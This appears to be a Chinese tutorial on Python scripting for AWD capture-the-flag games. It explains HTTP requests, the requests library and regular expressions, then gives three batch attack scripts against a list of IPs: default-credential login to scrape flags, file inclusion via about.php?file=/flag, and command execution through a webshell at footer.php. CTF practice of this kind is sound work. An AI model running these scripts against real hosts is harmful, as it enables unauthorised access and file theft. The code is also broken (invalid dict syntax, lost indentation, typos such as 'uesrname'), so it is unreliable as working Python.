AWD中编写python脚本基础知识
01 Python爬虫
简介
网络爬虫(又被称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字还有蚂蚁、自动索引、模拟程序或者蠕虫。
其实通俗的讲就是通过程序去获取web页面上自己想要的数据也就是自动抓取数据。
基本流程
(1)发起请求
通过HTTP库向目标站点发起请求(request),请求可以包含额外的header等信息,等待服务器响应
(2)获取响应内容
如果服务器能正常响应,会得到-个Response,Response的内容便类型可能是HTMLJson字符串,二进制数据是所要获取的页面内容,(图片或者视频)等类型。
(3)解析内容
得到的内容可能是HTML,可以用正则表达式,页面解析库进行解析可能是Json,可以直接转换为Json对象解析,可能是二进制数据,可以做保存或者进一步的处理。
(4)保存数据
保存形式多样,可以存为文本,也可以保存到数据库,或者保存特定格式的文件。
Requests和lResponse
Request:用户将自己的信息通过浏览器(socket client)发送给服务器(socket server)
Response:服务器接收请求,分析用户发来的请求信息然后返回数据(返回的数据中可能包含其他链接,如:图片,js,css等)
注:浏览器在接收Response后,会解析其内容来显示给用户,而爬虫程序在模拟浏览器发送请求然后接收Response后,是要提取其中的有用数据。
Requests
1、请求方式
主要有GET、POST,还有HEAD、PUT、DELETE、POTIONS等。
2、请求URL
URL,即统一资源定位符,也就是网址,统一资源定位符是对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示,是互联上标准资源的地址。互联网上的每个文件都有一个唯一的URL,它包含的信息指出文件的位置以及浏览器应该怎么处理它。3、请求头
User-agent、host、cookiesUser-agent:请求头中如果没有user-agent客户端配置,服务端可能将你当做一个非法用户。
host:主机地址
cookies:cookie用来保存登录信息。
一般做爬虫都会加上请求头。
4、请求体
请求体是请求时额外携带的数据。如果是get方式,请求体没有内容;如果是post方式,请求体是format data。
Requests库的7个主要方法:
requests对象的属性:
属性 | 说明 |
---|---|
r.status_code | HTTP请求的返回状态,200表示连接成功,404表示失败 |
r.text | HTTP响应内容的字符串形式,即,URL对应的页面内容 |
r.encoding | 从HTTP header中猜测的响应内容编码方式 |
r.apparent_encoding | 从内容中分析出的响应内容编码方式,(备选编码方式) |
r.content | HTTP响应内容的二进制形式 |
get请求
post 请求
1、响应状态
200:代表成功
404:文件不存在
301:代表跳转
403:权限
502:服务器错误2、响应头
响应头需要注意的参数:
(1)Set-Cookie:BDSVRTM=0; path=/:可能有多个,是来告诉浏览器,把cookie保存下来;
(2)Content-Location:服务端响应头中包含Location返回浏览器之后,浏览器就会重新访问另一个页面。
例:自动生成ip 至ip.txt
正则表达式
- 正则表达式是一个特殊的字符序列,它能帮助你方便的检查一个字符串是否与某种模式匹配。
- Python 自1.5版本起增加了re 模块,它提供 Per 风格的正则表达式模式。
- re 模块使 Python 语言拥有全部的正则表达式功能。
- compile 函数根据一个模式字符串和可选的标志参数生成一个正则表达式对象。该对象拥有一系列方法用于正则表达式匹配和替换。
- re 模块也提供了与这些方法功能完全一致的函数,这些函数使用一个模式字符串做为它们的第一个参数。
re.match函数
re.match 尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话,match()就返回none。函数语法:re.match(pattern, string, flags=0)re.search方法
re.search 扫描整个字符串并返回第一个成功的匹配,函数语法:re.search(pattern,string, flags=0)re.match与re.search的区别
re.match只匹配字符串的开始,如果字符串开始不符合正则表达式则匹配失败,函数返回None;而re.search匹配整个字符串,直到找到一个匹配。
与大多数编程语言相同,正则表达式里使用"\"作为转义字符,这就可能造成反斜杠困扰。假如你需要匹配文本中的字符"\",那么使用编程语言表示的正则表达式里将需要4个反斜杠"\\\\”:前两个和后两个分别用于在编程语言里转义成反斜杠,转换成两个反斜杠后再在正则表达式里转义成一个反斜杠。
Python里的原生字符串很好地解决了这个问题,这个例子中的正则表达式可以使用r"\\"表示。同样,匹配一个数字的"\\d"可以写成r"\d"。有了原生字符串,你再也不用担心是不是漏写了反斜杠,写出来的表达式也更直观。
group:
02 案例
后台Flag提取
import requests
import re
f = open('ip.txt','r')
for i in f.readlines():
url = 'http://'+i.strip()+'/login.php'
user_passwd = {'uesrname' = 'admin',
'password' = 'mysql',
'button' = 'SIGN-I',}
r = requests.post(url,data=user_passwd)
result = re.search('[a-z0-9]{32}', r.text)
print(url, result.group())
f.close()
webshell
import requests
import re
f = open('ip.txt','r')
for i in f.readlines():
url = 'http://'+i.strip()+''
path = '/about.php?file=/flag'
palyoad = url + path
r = requests.get(palyoad)
result = re.search('[a-z0-9]{32}',r.text)
if r.status_code==200:
print(url,result.group())
else:
print(url,"There is no flag here")
f.close()
命令执行
import requests
f = open('ip.txt','r')
data = {"shell":'cat /flag'}
for i in f.readlines():
url = 'http://'+i.strip()+'/footer.php'
r = requests.post(url,data=data)
x = r.text
print(url +' '+ x)